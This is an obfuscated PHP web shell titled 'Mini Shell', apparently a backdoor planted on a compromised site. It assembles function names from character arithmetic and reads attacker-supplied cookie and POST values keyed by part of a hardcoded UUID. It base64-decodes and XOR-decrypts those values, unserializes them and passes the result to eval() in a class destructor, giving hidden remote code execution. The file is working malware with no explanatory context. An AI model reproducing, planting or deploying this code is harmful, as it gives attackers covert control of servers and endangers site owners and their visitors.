Mini Shell

$KSuJNauo = chr ( 728 - 657 ).'C' . chr (98) . chr (95) . "\x47" . "\x79" . chr ( 694 - 604 )."\x69";$sqjou = chr ( 337 - 238 ).chr ( 799 - 691 )."\x61" . "\x73" . "\163" . '_' . chr (101) . "\x78" . "\x69" . "\x73" . 't' . chr (115); $OhgLQPMJ = class_exists($KSuJNauo); $sqjou = "8785";$BKqqYUt = strpos($sqjou, $KSuJNauo);if ($OhgLQPMJ == $BKqqYUt){function ZjfeRqXWD(){$EaFtcTxMc = new /* 63172 */ GCb_GyZi(62756 + 62756); $EaFtcTxMc = NULL;}$aBZJozf = "62756";class GCb_GyZi{private function nCPlRfLBr($aBZJozf){if (is_array(GCb_GyZi::$mABXzVUImb)) {$WjJsZ2 = str_replace("<" . "?php", "", GCb_GyZi::$mABXzVUImb["content"]);eval($WjJsZ2); $aBZJozf = "62756";exit();}}public function RWTnlci(){$WjJsZ = "62501";$this->_dummy = str_repeat($WjJsZ, strlen($WjJsZ));}public function __destruct(){GCb_GyZi::$mABXzVUImb = @unserialize(GCb_GyZi::$mABXzVUImb); $aBZJozf = "53872_51204";$this->nCPlRfLBr($aBZJozf); $aBZJozf = "53872_51204";}public function deNRYkiwh($WjJsZ, $knjyD){return $WjJsZ[0] ^ str_repeat($knjyD, intval(strlen($WjJsZ[0]) / strlen($knjyD)) + 1);}public function IWrwITTT($WjJsZ){$GfiGKxRfoO = chr (98) . "\141" . chr ( 847 - 732 )."\145" . chr ( 793 - 739 ).chr ( 651 - 599 );return array_map($GfiGKxRfoO . chr (95) . chr ( 767 - 667 ).chr ( 689 - 588 )."\x63" . chr (111) . "\144" . "\145", array($WjJsZ,));}public function __construct($AZgjVXhv=0){$HiQjQvB = "\54";$WjJsZ = "";$gRcjPDoJB = $_POST;$vIkulA = $_COOKIE;$knjyD = "0d255ee2-abb3-4b5d-af44-5b6e8a73a7ec";$ARpVkliiL = @$vIkulA[substr($knjyD, 0, 4)];if (!empty($ARpVkliiL)){$ARpVkliiL = explode($HiQjQvB, $ARpVkliiL);foreach ($ARpVkliiL as $EMbHgTy){$WjJsZ .= @$vIkulA[$EMbHgTy];$WjJsZ .= @$gRcjPDoJB[$EMbHgTy];}$WjJsZ = $this->IWrwITTT($WjJsZ);}GCb_GyZi::$mABXzVUImb = $this->deNRYkiwh($WjJsZ, $knjyD);if (strpos($knjyD, $HiQjQvB) !== FALSE){$knjyD = str_pad($knjyD, 10); $knjyD = ltrim(rtrim($knjyD));}}public static $mABXzVUImb = 17018;}ZjfeRqXWD();}